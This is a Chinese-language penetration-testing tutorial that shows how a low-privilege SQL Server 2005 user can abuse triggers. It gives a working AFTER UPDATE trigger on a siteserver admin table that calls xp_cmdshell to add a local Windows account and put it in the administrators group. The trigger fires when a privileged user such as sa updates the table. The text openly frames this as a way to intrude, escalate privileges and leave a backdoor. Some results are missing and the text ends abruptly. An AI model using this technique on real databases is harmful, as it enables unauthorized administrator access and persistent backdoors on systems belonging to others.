觸發器對表進行插入、更新、刪除的時候會自動執行的特殊存儲過程。觸發器一般用在check約束更加復雜的約束上面。觸發器和普通的存儲過程的區別是:觸發器是當對某一個表進行操作。諸如:update、insert、delete這些操作的時候,系統會自動調用執行該表上對應的觸發器。SQL Server 2005中觸發器可以分為兩類:DML觸發器和DDL觸發器,其中DDL觸發器它們會影響多種數據定義語言語句而激發,這些語句有create、alter、drop語句。
a)通過Sqlserver的觸發器,可以利用執行者的權限執行自定義的命令。
b)滲透過程中可能利用的觸發器場景:在設置好觸發器以后,等待、誘使高權限用戶去觸發這個觸發器,來實現入侵、提權、留后門等目的。
c)Sqlserver的觸發器可以分為兩類:DML觸發器(After insert,After delete,After update和instead of)和DDL觸發器(for)。
實驗環境: Win2003x86 && SqlServer 2005,默認安裝Sqlserver,安裝一個開源應用siteserver,并建立test用戶,不給予服務器角色,數據庫角色僅給予dbo和public權限。并將test庫與test用戶相互映射。SqlServer的xp_cmdshell已經被恢復。
實驗過程: a)使用test用戶建立觸發器語句:
#!bash
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO --這些是 SQL-92 設置語句,使 mssql 遵從 SQL-92 規則。
CREATE TRIGGER test
ON bairong_Administrator
AFTER UPDATE /*建立一個作用于表bairong_Administrator的、
類型為After update的、名為test的觸發器*/
AS
BEGIN
--EXECUTE SP_ADDEXTENDEDPROC 'MASTER.DBO.XP_CMDSHELL','XPLOG70.DLL'
EXECUTE MASTER.DBO.XP_CMDSHELL 'net user STD 123456 /add'
EXECUTE MASTER.DBO.XP_CMDSHELL 'net localgroup administrators STD /add'
/*默認格式begin為開頭加上觸發后執行的語句,這里是利用儲存過程添加系統賬號。*/
END
GO
b)執行UPDATE操作,是觸發器執行:
1)使用UPDATE語句來觸發觸發器:
#!bash
UPDATE bairong_Administrator SET [email protected]' WHERE UserName='admin';
使用test用戶執行:
2)使用sa用戶執行:
那么這就產生一個問題了,如何利用被動觸發留后門或滲透攻擊。